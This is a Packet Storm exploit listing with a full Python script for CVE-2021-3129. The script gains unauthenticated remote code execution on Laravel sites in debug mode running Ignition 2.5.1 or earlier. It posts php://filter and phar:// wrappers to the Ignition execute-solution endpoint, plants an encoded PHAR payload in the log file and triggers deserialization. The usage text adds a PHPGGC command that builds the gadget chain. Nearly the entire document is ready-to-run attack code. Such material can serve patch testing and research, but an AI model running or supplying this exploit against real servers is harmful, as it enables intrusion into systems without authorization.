Lucene search

K
packetstormTobias MarcottoPACKETSTORM:162094
HistoryApr 06, 2021 - 12:00 a.m.

Ignition 2.5.1 Remote Code Execution

2021-04-0600:00:00
Tobias Marcotto
packetstormsecurity.com
319
`# Exploit Title: Laravel debug mode Remote Code Execution (Ignition <= 2.5.1)  
# Date: 05/04/2021  
# Exploit Author: Tobias Marcotto  
# Tested on: Kali Linux x64  
# Version: < 2.5.1  
# Description: Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.  
# CVE : CVE-2021-3129  
  
  
*********************************************************************************************************  
  
  
#!/usr/bin/env python3.7  
  
import base64  
import re  
import sys  
from dataclasses import dataclass  
  
import requests  
  
  
@dataclass  
class Exploit:  
session: requests.Session  
url: str  
payload: bytes  
log_path: str  
  
def main(self):  
if not self.log_path:  
self.log_path = self.get_log_path()  
  
try:  
self.clear_logs()  
self.put_payload()  
self.convert_to_phar()  
self.run_phar()  
finally:  
self.clear_logs()  
  
def success(self, message, *args):  
print('+ ' + message.format(*args))  
  
def failure(self, message, *args):  
print('- ' + message.format(*args))  
exit()  
  
def get_log_path(self):  
r = self.run_wrapper('DOESNOTEXIST')  
match = re.search(r'"file":"(\\/[^"]+?)\\/vendor\\/[^"]+?"', r.text)  
if not match:  
self.failure('Unable to find full path')  
path = match.group(1).replace('\\/', '/')  
path = f'{path}/storage/logs/laravel.log'  
r = self.run_wrapper(path)  
if r.status_code != 200:  
self.failure('Log file does not exist: {}', path)  
  
self.success('Log file: {}', path)  
return path  
  
def clear_logs(self):  
wrapper = f'php://filter/read=consumed/resource={self.log_path}'  
self.run_wrapper(wrapper)  
self.success('Logs cleared')  
return True  
  
def get_write_filter(self):  
filters = '|'.join((  
'convert.quoted-printable-decode',  
'convert.iconv.utf-16le.utf-8',  
'convert.base64-decode'  
))  
return f'php://filter/write={filters}/resource={self.log_path}'  
  
def run_wrapper(self, wrapper):  
solution = "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution"  
return self.session.post(  
self.url + '/_ignition/execute-solution/',  
json={  
"solution": solution,  
"parameters": {  
"viewFile": wrapper,  
"variableName": "doesnotexist"  
}  
}  
)  
  
def put_payload(self):  
payload = self.generate_payload()  
# This garanties the total log size is even  
self.run_wrapper(payload)  
self.run_wrapper('AA')  
  
def generate_payload(self):  
payload = self.payload  
payload = base64.b64encode(payload).decode().rstrip('=')  
payload = ''.join(c + '=00' for c in payload)  
# The payload gets displayed twice: use an additional '=00' so that  
# the second one does not have the same word alignment  
return 'A' * 100 + payload + '=00'  
  
def convert_to_phar(self):  
wrapper = self.get_write_filter()  
r = self.run_wrapper(wrapper)  
if r.status_code == 200:  
self.success('Successfully converted to PHAR !')  
else:  
self.failure('Convertion to PHAR failed (try again ?)')  
  
def run_phar(self):  
wrapper = f'phar://{self.log_path}/test.txt'  
r = self.run_wrapper(wrapper)  
if r.status_code != 500:  
self.failure('Deserialisation failed ?!!')  
self.success('Phar deserialized')  
# We might be able to read the output of system, but if we can't, it's ok  
match = re.search('^(.*?)\n<!doctype html>\n<html class="', r.text, flags=re.S)  
  
if match:  
print('--------------------------')  
print(match.group(1))  
print('--------------------------')  
elif 'phar error: write operations' in r.text:  
print('Exploit succeeded')  
else:  
print('Done')  
  
  
def main(url, payload, log_path=None):  
payload = open(payload, 'rb').read()  
session = requests.Session()  
#session.proxies = {'http': 'localhost:8080'}  
exploit = Exploit(session, url.rstrip('/'), payload, log_path)  
exploit.main()  
  
  
if len(sys.argv) <= 1:  
print(  
f'Usage: {sys.argv[0]} <url> </path/to/exploit.phar> [log_file_path]\n'  
'\n'  
'Generate your PHAR using PHPGGC, and add the --fast-destruct flag if '  
'you want to see your command\'s result. The Monolog/RCE1 GC works fine.\n\n'  
'Example:\n'  
' $ php -d\'phar.readonly=0\' ./phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system id\n'  
' $ ./laravel-ignition-rce.py http://127.0.0.1:8000/ /tmp/exploit.phar\n'  
)  
exit()  
  
main(sys.argv[1], sys.argv[2], (len(sys.argv) > 3 and sys.argv[3] or None))  
`
Related for PACKETSTORM:162094